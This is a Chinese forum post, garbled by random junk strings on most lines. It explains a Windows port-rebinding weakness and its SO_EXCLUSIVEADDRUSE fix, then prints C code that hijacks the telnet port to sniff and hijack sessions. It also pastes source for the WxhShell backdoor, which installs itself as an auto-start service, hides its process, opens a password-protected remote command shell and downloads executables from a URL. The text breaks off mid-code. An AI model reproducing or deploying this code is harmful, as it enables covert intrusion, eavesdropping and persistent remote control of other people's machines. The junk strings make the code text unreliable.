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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v~^*L iP+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7'{%djL  
3gCP?%R  
  saddr.sin_family = AF_INET; Kv5 !cll5  
FGMYpapc~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I*+*Wf  
#R= 6$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g>?,,y6/w  
&fxyY (  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sBN4:8  
B`%%,SLJ  
  这意味着什么?意味着可以进行如下的攻击: L@ N\8mf  
Qmv8T ^+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :$^sI"hO  
>va9*pdJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :n}t7+(>U  
Qz A)HDQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AdF[>Wv  
TY#pj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qy!pD R;  
)Vy}oFT\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6:bvq?5a5  
xtS0D^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nza^<DlS  
_l]rt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W<H^V"^  
ra\2BS)X  
  #include 1z8AK"8  
  #include 0j-;4>p  
  #include 4mWT"T-8  
  #include    q'[yYPDX5x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :e4[isI  
  int main() }'TZ)=t{J  
  { 74Il]i1=  
  WORD wVersionRequested; rI1;>/Ir  
  DWORD ret; }~Y#N  
  WSADATA wsaData;  0c:j wtf  
  BOOL val; 7[7Sm^Tw  
  SOCKADDR_IN saddr; WkY>--^  
  SOCKADDR_IN scaddr; 0V#eC  
  int err; 0>?78QL9<  
  SOCKET s; '"Dgov$q  
  SOCKET sc; u/ 74E0$S  
  int caddsize; P-lE,X   
  HANDLE mt; $66DyK?  
  DWORD tid;   I^y,@EHR  
  wVersionRequested = MAKEWORD( 2, 2 ); D)LqkfJ}z^  
  err = WSAStartup( wVersionRequested, &wsaData ); !eB&3J  
  if ( err != 0 ) { Qte'f+  
  printf("error!WSAStartup failed!\n"); `ZAGseDd~  
  return -1; Kd,7x'h`E  
  } BB m;QOBU  
  saddr.sin_family = AF_INET; A?OaP  
   GfT`>M?QGK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6t6#<ts  
yu62$ d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8h7z  
  saddr.sin_port = htons(23); 0~N2MoOl^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5eSmyj-W  
  { 9G}Crp  
  printf("error!socket failed!\n"); "(#]H;!W  
  return -1; (%EhkTb  
  }  ^'c[HVJ  
  val = TRUE; hAp<$7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KGb3n;]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |Gh~Zu p  
  { U ()36  
  printf("error!setsockopt failed!\n"); 8U>f/dxLOO  
  return -1; $q;dsW,8  
  } t@EHhiBz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k GzosUt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :Keek-E`e=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !pLQRnI}6  
Li_ a|dI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x5}Ru0Z  
  { g"sW_y_O  
  ret=GetLastError(); 6muZE1sn  
  printf("error!bind failed!\n"); ,.<l^sj5  
  return -1; ;M"JN:J8  
  } J Covk1  
  listen(s,2); 5rpTR  
  while(1)  cUz7F  
  { MRdZ'  
  caddsize = sizeof(scaddr); 'Nv*ePz  
  //接受连接请求 J@c)SK%2h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jE</a %  
  if(sc!=INVALID_SOCKET) 1Lb+ &  
  { \?e{/hXnl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @(:M?AO9S.  
  if(mt==NULL) mmG+"g$|  
  { ^SKuX?f\  
  printf("Thread Creat Failed!\n"); HW(cA}$  
  break; Q<V?rPAcx  
  }  *w538Vb  
  } V '4sOn  
  CloseHandle(mt); Q}M% \v  
  } r0)X]l7  
  closesocket(s); ga~C?H,K  
  WSACleanup(); "?GA}e"R  
  return 0; Em8C +EM  
  }   wh@;$s"B  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ul@yXtj  
  { + AyrKs?h  
  SOCKET ss = (SOCKET)lpParam; ;X ]+r$_  
  SOCKET sc; dk9'C  
  unsigned char buf[4096]; }Q?, O  
  SOCKADDR_IN saddr; @e_ bG@  
  long num; j\D_Z{m2  
  DWORD val; |BGQ|7DyG  
  DWORD ret; !giL~}j(R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y pv~F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OFTyN^([@  
  saddr.sin_family = AF_INET; }Zue?!KQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I=)u:l c  
  saddr.sin_port = htons(23); 0[JJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p ] V  
  { YULI y-W  
  printf("error!socket failed!\n"); ;{79d8/=  
  return -1; MV<2x7S  
  } c|%.B2  
  val = 100;  s=&&gC1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pvq74?an`  
  { 5 #)5Z8`X  
  ret = GetLastError(); B'OUT2cgB  
  return -1; E {$Jk]c  
  } 90o G+T4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >i%{5d  
  { xn'&TQo0  
  ret = GetLastError(); .|Pq!uLvc  
  return -1; ^#T@NN0T  
  } .mzy?!w0q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zU;%s<(p  
  { %- W3F5NK  
  printf("error!socket connect failed!\n"); "/e:V-W   
  closesocket(sc); z  %Ty;  
  closesocket(ss); *E0dCY$  
  return -1; /*)zQ?N  
  } ~.?,*q7  
  while(1) pPSmSWD?  
  { Lj"@JF;c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t%$>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X\:;A{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r5kKNyJ  
  num = recv(ss,buf,4096,0);  x w8 e  
  if(num>0) owDp?Sy}E  
  send(sc,buf,num,0); bhqBFiuhH  
  else if(num==0) |kPjjVGF{  
  break; '% .:97  
  num = recv(sc,buf,4096,0); N^\<y7x  
  if(num>0) ,Q8[Ur? G  
  send(ss,buf,num,0); |'B-^?;  
  else if(num==0) hSQuML   
  break; #)&kF+  
  } x{ _:B DY  
  closesocket(ss); 9?5'>WO  
  closesocket(sc); b*w@kLLN  
  return 0 ; ?6;9r[ p  
  } W_:3Sj l'  
i^9,.$<1  
=]k0*\PS  
========================================================== ),ur! v  
LO8`qq*rq  
下边附上一个代码,,WXhSHELL SJg4P4|  
V(hM@ztN  
========================================================== F7!g+LPc<  
,Jm2|WKH  
#include "stdafx.h" jlvh'y`  
' U]\]Wp  
#include <stdio.h> @]v}& j7  
#include <string.h> (gY3?&Ok*  
#include <windows.h> eD4D<\*  
#include <winsock2.h> ws1io.  
#include <winsvc.h> l`S2bb6uMR  
#include <urlmon.h> #aX+?z\4  
)k)HQcfjD  
#pragma comment (lib, "Ws2_32.lib") r%`g` It  
#pragma comment (lib, "urlmon.lib") 1>I4=mj  
]_!5g3VQh  
#define MAX_USER   100 // 最大客户端连接数 >|{n";n&  
#define BUF_SOCK   200 // sock buffer U($bR|%D  
#define KEY_BUFF   255 // 输入 buffer B 2p/  
gD}lDK6N  
#define REBOOT     0   // 重启 . V5Pr}"y  
#define SHUTDOWN   1   // 关机 <'n'>@  
)ry7a .39b  
#define DEF_PORT   5000 // 监听端口 US5 ]@!  
"DN0|%`M/  
#define REG_LEN     16   // 注册表键长度 SlU?,)J}  
#define SVC_LEN     80   // NT服务名长度 muh[wo  
= <yMB d\  
// 从dll定义API ~s3X&!#   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L|B/'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q=YIAGK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * 0vq+C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O;zq(/,-l  
I5#KLZVg  
// wxhshell配置信息 t zn1|  
struct WSCFG { ]ySm|&aU  
  int ws_port;         // 监听端口 > 2)@(f~g  
  char ws_passstr[REG_LEN]; // 口令 9:DT+^BB  
  int ws_autoins;       // 安装标记, 1=yes 0=no !3O8B0K)v  
  char ws_regname[REG_LEN]; // 注册表键名 O52B  
  char ws_svcname[REG_LEN]; // 服务名 kq| r6uE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JWZG)I]r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =VC"X?N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V{jQ=<)@e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @c;XwU]2t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0m2%ucKw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m*bTELb  
|7Dc7p"D  
}; QZwUv<*  
rra|}l4Y  
// default Wxhshell configuration EM2=g9y  
struct WSCFG wscfg={DEF_PORT, E?v9c>c  
    "xuhuanlingzhe", Q$Q>pV;uH  
    1, `$PdI4~J  
    "Wxhshell", azhilUD8  
    "Wxhshell", v11Uw?CM  
            "WxhShell Service", !uZ)0R  
    "Wrsky Windows CmdShell Service", >X@4wP 7l  
    "Please Input Your Password: ", g=#Cc( q  
  1, DT;n)7+,  
  "http://www.wrsky.com/wxhshell.exe", Wi U-syNh  
  "Wxhshell.exe" 0r_3:#Nn  
    }; (YV]T!q  
\wjT|z1+Y  
// 消息定义模块 scc+r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 84f(BE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d/"%fpp^0G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XE#a#  
char *msg_ws_ext="\n\rExit."; CMhl*dH  
char *msg_ws_end="\n\rQuit."; uSsP'qd  
char *msg_ws_boot="\n\rReboot..."; p>ba6BDJT  
char *msg_ws_poff="\n\rShutdown..."; /1y\EEc  
char *msg_ws_down="\n\rSave to "; 'hGUsi  
h5)4Z^n  
char *msg_ws_err="\n\rErr!"; a!@(bb z>  
char *msg_ws_ok="\n\rOK!"; XY`{F.2h  
XWq`MwC9  
char ExeFile[MAX_PATH]; }H Ct=W`  
int nUser = 0; fw&cv9X(IU  
HANDLE handles[MAX_USER]; F ,;B  
int OsIsNt; wiFA 3_\G  
@vc9L  
SERVICE_STATUS       serviceStatus; <lkt'iT=Sz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A!$;pwn0  
"cZ){w  
// 函数声明 $x~U&a  
int Install(void); gB_gjn\  
int Uninstall(void); @ ^q}.u`  
int DownloadFile(char *sURL, SOCKET wsh); WJlJD*3  
int Boot(int flag); 7_9^nDU  
void HideProc(void); u+;iR/  
int GetOsVer(void); 2tw3 =)  
int Wxhshell(SOCKET wsl); 9]L4`.HM  
void TalkWithClient(void *cs); \? n<UsI  
int CmdShell(SOCKET sock); u5.zckV  
int StartFromService(void); m@i](1*T|  
int StartWxhshell(LPSTR lpCmdLine); l5 T0x=y9!  
n-he|u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dz3~cuVb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BCmKzv  
r1&eA%eh  
// 数据结构和表定义 {i<L<Y(3  
SERVICE_TABLE_ENTRY DispatchTable[] = |4C5;"Pc  
{ <YM!K8hu$  
{wscfg.ws_svcname, NTServiceMain}, h.pVIO`  
{NULL, NULL} %jo,Gv  
}; 3,"G!0 y.  
swz)gh-*  
// 自我安装 :u,Ji9 u  
int Install(void) h1~/zM/`  
{ 7](aPm8  
  char svExeFile[MAX_PATH]; :IX_|8e ^  
  HKEY key; ms&6N']  
  strcpy(svExeFile,ExeFile); r0Zj'F_e  
tXCgRU  
// 如果是win9x系统,修改注册表设为自启动 HGao}@'  
if(!OsIsNt) { /[qLf:rGI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {,=U]^A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Rqpok4  
  RegCloseKey(key); Ofc u4pi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ba*=/{[q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 782 oXyD  
  RegCloseKey(key); |;(>q  
  return 0; (GoxiX l  
    } jL{k!V`s  
  } 84lT# ^q  
} I{$TMkh[  
else { Z817f]l  
WR9-HPF  
// 如果是NT以上系统,安装为系统服务 _oHxpeM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P\y ZcL  
if (schSCManager!=0) %0zp`'3Y  
{ V)fF|E~0  
  SC_HANDLE schService = CreateService GP(nb,  
  ( *&z !y/  
  schSCManager, RGLJaEl !  
  wscfg.ws_svcname, s$ kvLy<  
  wscfg.ws_svcdisp, SN 4JX  
  SERVICE_ALL_ACCESS, FMtg7+Q|>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sk5B} -  
  SERVICE_AUTO_START, zWrynJ}s  
  SERVICE_ERROR_NORMAL, Mn 8| K nh  
  svExeFile, 9JqT"zj  
  NULL, u f1s}/M  
  NULL, x9o(q`N  
  NULL, *^iSP(dg  
  NULL, ?@^gpVK{  
  NULL ;> %wf3e  
  ); dbg%n 0h  
  if (schService!=0) ;*{Ls#  
  { (+nnX7V?I  
  CloseServiceHandle(schService); *Oq& g\K)  
  CloseServiceHandle(schSCManager); 5 0dx[v8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pQ xv_4  
  strcat(svExeFile,wscfg.ws_svcname); $T_>WUiK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +Mb}70^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jItVAmC=i  
  RegCloseKey(key); )m I i.  
  return 0; ,va2:V  
    } ~uG/F?= Q:  
  } q#F+^)DD [  
  CloseServiceHandle(schSCManager); Jv8VM\ *  
} VHLt, ?G  
} yuhY )T  
ey$H2zmo  
return 1; ^e]h\G  
} DB0?H+8t  
I  :8s3;  
// 自我卸载 im9Pjb%  
int Uninstall(void) P\h1%a/D  
{ oz%{D@CF  
  HKEY key; 7e[&hea  
RJ-J/NhWyI  
if(!OsIsNt) { jw)c|%r>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { psuK\ s  
  RegDeleteValue(key,wscfg.ws_regname); ky'G/ z  
  RegCloseKey(key); BO+t o.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ./<giTR:p  
  RegDeleteValue(key,wscfg.ws_regname); NAO0b5-h  
  RegCloseKey(key); +1a2Un  
  return 0; <.{OIIuk  
  } T[-Tqi NT  
} $,o@&QT?AT  
} _z\qtl~3  
else { DG,m;vg+  
'8LHX6FXK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6%V#_]  
if (schSCManager!=0) 6A4{6B  
{ [xXV5 JU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A~;.9{6J[t  
  if (schService!=0) Xif>ZL?aXb  
  { #dFE}!"#`  
  if(DeleteService(schService)!=0) { L% T%6p_  
  CloseServiceHandle(schService); [KMS/'; ]  
  CloseServiceHandle(schSCManager); `j'gt&  
  return 0; id)J;!^;J  
  } keJ-ohv)  
  CloseServiceHandle(schService); ,nWZJ&B  
  } of'H]IZ  
  CloseServiceHandle(schSCManager); U%KgLg#  
} [4-u{Tu  
} Jmu oYlf|  
! QKec  
return 1; L> rW S-  
} +D?Re%HI  
6?-,@e  
// 从指定url下载文件 0xV[C4E[6  
int DownloadFile(char *sURL, SOCKET wsh) ?SX0e(+}}  
{ 1]aya(  
  HRESULT hr; w ; PV &M  
char seps[]= "/"; A QPzId*z  
char *token; 6-\C?w A  
char *file; N::.o+1  
char myURL[MAX_PATH]; UdFYG^i  
char myFILE[MAX_PATH]; p]6/1&t="  
w!RJ8  
strcpy(myURL,sURL); ,UfB{BW  
  token=strtok(myURL,seps); RPkOtRKL=w  
  while(token!=NULL) DCgiTT\  
  { h: zi8;(  
    file=token; E6xWo)`%5s  
  token=strtok(NULL,seps); hOe$h,E']  
  } qX]ej 2  
_<jccQ  
GetCurrentDirectory(MAX_PATH,myFILE); zTze %  
strcat(myFILE, "\\"); !^3j9<|@'  
strcat(myFILE, file); Y|<1|wGG  
  send(wsh,myFILE,strlen(myFILE),0); ROj=XM:+  
send(wsh,"...",3,0); J!:v`gb#@A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2vW@d[<J  
  if(hr==S_OK) wQU-r|  
return 0; r]%.,i7~8  
else wtQ(R4  
return 1; TZ:dY x  
EU()Nnm2  
} ?D]T| =EZY  
#Y>d@  
// 系统电源模块 9z(h8H  
int Boot(int flag) BBsZPJ5  
{ a;0$fRy  
  HANDLE hToken; 9R|B 5.  
  TOKEN_PRIVILEGES tkp; .DcuJC=  
NAfu$7  
  if(OsIsNt) { 0>0:ls  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `pXC= []B2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BYs^?IfW  
    tkp.PrivilegeCount = 1; l5_%Q+E_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]GPUL>7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q$2^m(?;  
if(flag==REBOOT) { |)Sx"B)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .w)T2(  
  return 0; >V3pYRA   
} 4Jj O.H  
else { qzu%Pp6If  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }u'O<d~z?  
  return 0; Uf-`g>  
} DYCXzFAa  
  } (9D,Ukw  
  else { 3yIC@>&y(8  
if(flag==REBOOT) { ,6a }l;lv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d*<goBd  
  return 0; U_e e3KKA  
} p%*! ]JRS  
else { 7 m!e\x8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %LZf= `:(  
  return 0; d:=:l?  
} 2BIOA#@t  
} veGRwir  
]i pltR7k  
return 1; GGn/J&k  
} pi?U|&.1z  
-\=kd {*B  
// win9x进程隐藏模块 pn2_ {8.  
void HideProc(void) 7ip(-0  
{ g,cl|]/\d  
h3:dO|Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NYZI;P1DA  
  if ( hKernel != NULL ) y-CVyl  
  { 9S[Tan|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;/-#oW@gQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kzb1iBe 6m  
    FreeLibrary(hKernel); iG;GAw|E  
  } Xa32p_|5~  
@Y2&v956  
return; ^aO\WKkA  
} IK^jzx   
YNi3oG]h  
// 获取操作系统版本 H"> }y D  
int GetOsVer(void) kihO~<  
{ EJ3R{^  
  OSVERSIONINFO winfo; afa7'l=^i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D>Ph))QI  
  GetVersionEx(&winfo); rhe;j//`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c\pPwG  
  return 1; H@xIAL  
  else g:nU&-x#R  
  return 0; 1~#p3)B  
} *QpKeI  
a<K@rgQ  
// 客户端句柄模块 f<0nj?  
int Wxhshell(SOCKET wsl) ~8G<Nw4*\  
{ L3- tD67oa  
  SOCKET wsh; :S5B3S@|  
  struct sockaddr_in client; D;al(q  
  DWORD myID; vMOit,{  
jVpk) ;vC  
  while(nUser<MAX_USER) _'E,g@  
{ ` `R;x  
  int nSize=sizeof(client); {?9s~{Dl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ! G+/8Q^  
  if(wsh==INVALID_SOCKET) return 1; Tfl4MDZb  
7)Rx-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y-WY Q{  
if(handles[nUser]==0) Q[k7taoy  
  closesocket(wsh); ~IKPi==@,  
else ,&IBj6%Y  
  nUser++; cTeEND)  
  } It@ak6u?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O2Mo ~}  
b%<i&YY#  
  return 0; 7=ZB?@bU~  
} @u2nG:FG  
DN@T4!  
// 关闭 socket $Y4;Xe=  
void CloseIt(SOCKET wsh) WeTsva+  
{ bG0t7~!{E  
closesocket(wsh); #`mo5  
nUser--; pc w^W  
ExitThread(0); |mfQmFF  
} ArUGa(; f  
WoiK _Ud  
// 客户端请求句柄 y3K9rf  
void TalkWithClient(void *cs) *_z5Pa`A  
{ NVMhbpX6  
Z?5kO-[  
  SOCKET wsh=(SOCKET)cs; \S@;>A<J  
  char pwd[SVC_LEN]; '%`W y@  
  char cmd[KEY_BUFF]; D/Y.'P:j  
char chr[1]; .sA?}H#wb  
int i,j; -zd*tujx  
zZ|Si  
  while (nUser < MAX_USER) { 1;[\xqJ  
o~F @1  
if(wscfg.ws_passstr) { q@p-)+D;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! \H!9FR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _e=R[  
  //ZeroMemory(pwd,KEY_BUFF); tw]RH(g+#  
      i=0; cRX0i;zag  
  while(i<SVC_LEN) { |.Bb Pfe8f  
oO|zRK1;/  
  // 设置超时 gaC^<\J  
  fd_set FdRead; _1`*&k JL~  
  struct timeval TimeOut; ,iU ]zN//  
  FD_ZERO(&FdRead); HZdmL-1Z^+  
  FD_SET(wsh,&FdRead); N(@'L43$V  
  TimeOut.tv_sec=8; ~n84x  
  TimeOut.tv_usec=0; Dqe/n_Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ho_;;y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !c\d(u  
 )>Oip  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +'?p $@d  
  pwd=chr[0]; :xfD>K  
  if(chr[0]==0xd || chr[0]==0xa) { tZ[Y~],F  
  pwd=0; PY.c$)az>  
  break; $Tt@Xu  
  } 8ltHR]v  
  i++; AyKaazm]9  
    } #{GUu ',?&  
n< [np;\  
  // 如果是非法用户,关闭 socket %,GY&hTw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SU9#Y|I  
} Pn5@7~  
:QsGwhB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >UpTMEQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); })Rmu."\  
Uq&ne 1  
while(1) { @YP\!#"8  
f8)D|  
  ZeroMemory(cmd,KEY_BUFF); b1jh2pG(V  
86~HkHliv  
      // 自动支持客户端 telnet标准   /!UuGm   
  j=0; phUno2fH  
  while(j<KEY_BUFF) { 0yXUVKq3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z bxd,|<|  
  cmd[j]=chr[0]; 7Rj!vj/  
  if(chr[0]==0xa || chr[0]==0xd) { ,*r"cmz  
  cmd[j]=0; tq?lF$mM:  
  break; BSG_),AH  
  } \0Zm3[  
  j++; *L/_ v  
    } YcGSZ0vQ  
LGPy>,!  
  // 下载文件 t(CdoE,6  
  if(strstr(cmd,"http://")) { |,5b[Y"Dt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4-=>># P  
  if(DownloadFile(cmd,wsh)) \w^iSK-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-lWvxXe  
  else %$I\\q q>{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dx[<@f2c  
  } tOwwgf  
  else { O%A:2Y79  
Nc[>CgX"@  
    switch(cmd[0]) { ~o%|#-S  
  6!/e_a  
  // 帮助 h/`OG>./  
  case '?': { Oe^3YOR#j{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vy{=Y(cpF2  
    break; Xcicqywe?  
  } }.4`zK&SB  
  // 安装 KSuP'.l  
  case 'i': { FgNO#%  
    if(Install()) W{Ie(hf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ];^A8?  
    else t</rvAH E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ALU}o/  
    break; oKz|hks[6  
    } *(s+u~, I  
  // 卸载 d37l/I  
  case 'r': { T%KZV/  
    if(Uninstall()) %]>c4"H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E$34myOVf  
    else iquB]z'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "a-Ex ]  
    break; 7s,IT8ii  
    } t'_Hp},  
  // 显示 wxhshell 所在路径 Z~~{!C+G  
  case 'p': { DL|,:2`  
    char svExeFile[MAX_PATH]; 9]VUQl9gh  
    strcpy(svExeFile,"\n\r"); > z h  
      strcat(svExeFile,ExeFile); ]o_Z3xXUa  
        send(wsh,svExeFile,strlen(svExeFile),0); ;) 5d wq  
    break; hv}rA,Yd  
    } 6~0S%Hz   
  // 重启 /P5w}n  
  case 'b': { ]/HSlT=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f3|ttUX  
    if(Boot(REBOOT)) oU$Niw9f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ^P~%^?(  
    else { U'UV=:/-  
    closesocket(wsh); ^T)HRT-k  
    ExitThread(0); 8}\VlH]  
    } *pk*ijdB  
    break; r{$ip"f  
    } bAeC=?U  
  // 关机 yW^[{)V 3%  
  case 'd': { #c'yAa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F5gL-\6  
